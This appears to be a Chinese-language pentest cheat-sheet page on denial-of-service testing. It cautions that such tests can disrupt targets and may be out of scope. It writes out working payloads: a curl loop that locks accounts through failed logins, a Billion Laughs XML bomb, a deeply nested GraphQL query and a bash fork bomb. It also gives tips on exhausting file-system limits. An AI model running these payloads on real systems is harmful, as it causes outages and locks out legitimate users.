跳转至

拒绝服务攻击 (Denial of Service)

拒绝服务攻击 (DoS) 旨在通过发起大量非法请求来淹没服务,或利用目标软件中的漏洞导致系统崩溃或性能下降,从而使服务不可用。在分布式拒绝服务 (DDoS) 中,攻击者使用多个来源(通常是被控制的机器)同时发起攻击。

摘要 (Summary)

方法论 (Methodology)

以下是拒绝服务攻击 (DoS) 的一些示例。这些示例应作为理解概念的参考,但任何 DoS 测试都应谨慎进行,因为它可能会干扰目标环境,并可能导致访问丢失或敏感数据泄露。

锁定客户账户 (Locking Customer Accounts)

在测试客户账户时可能发生的拒绝服务示例。 由于这很可能超出授权范围 (out-of-scope) 且会对业务产生重大影响,请务必极其小心。

  • 当账户在 X 次错误尝试后被临时/永久锁定时,对登录页面进行多次尝试。

    for i in {1..100}; do curl -X POST -d "username=user&password=wrong" <target_login_url>; done
    

文件系统上的文件限制 (File Limits on FileSystem)

当进程在服务器上写入文件时,尝试达到文件系统格式允许的最大文件数量。当达到限制时,系统应输出消息:No space left on device (设备空间不足)。

文件系统 最大 Inode 数量
BTRFS 2^64 (约 1800 亿亿)
EXT4 约 40 亿
FAT32 约 2.68 亿个文件
NTFS 约 42 亿 (MFT 条目)
XFS 动态(取决于磁盘大小)
ZFS 约 281 万亿

该技术的一种变体是填充应用程序使用的某个文件,直到其达到文件系统允许的最大大小,例如在 SQLite 数据库或日志文件上。

FAT32 有 4 GB 的显著限制,这就是为什么对于大文件,它通常被 exFAT 或 NTFS 取代。

BTRFS、ZFS 和 XFS 等现代文件系统支持 EB (exabyte) 规模的文件,远超当前的存储能力,使其能够满足未来大数据集的需求。

根据网站所使用的技术,攻击者可能有能力触发特定的功能或范式,从而消耗大量内存。

  • XML 外部实体 (XXE):十亿笑话攻击 (Billion laughs attack)/XML 炸弹

    <?xml version="1.0"?>
    <!DOCTYPE lolz [
    <!ENTITY lol "lol">
    <!ELEMENT lolz (#PCDATA)>
    <!ENTITY lol1 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
    <!ENTITY lol2 "&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;">
    <!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">
    <!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;">
    <!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;">
    <!ENTITY lol6 "&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;">
    <!ENTITY lol7 "&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;">
    <!ENTITY lol8 "&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;">
    <!ENTITY lol9 "&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;">
    ]>
    <lolz>&lol9;</lolz>
    
  • GraphQL:深度嵌套的 GraphQL 查询。

    query { 
        repository(owner:"rails", name:"rails") {
            assignableUsers (first: 100) {
                nodes {
                    repositories (first: 100) {
                        nodes {
    
                        }
                    }
                }
            }
        }
    }
    
  • 图片调整大小:尝试发送带有修改过标头的无效图片,例如:异常的尺寸、巨大的像素数量。

  • SVG 处理:SVG 文件格式基于 XML,尝试执行“十亿笑话攻击”。
  • 正则表达式:ReDoS(正则表达式拒绝服务)。
  • Fork 炸弹:在循环中快速创建新进程,消耗系统资源直到机器不再响应。

    :(){ :|:& };:
    

参考资料 (References)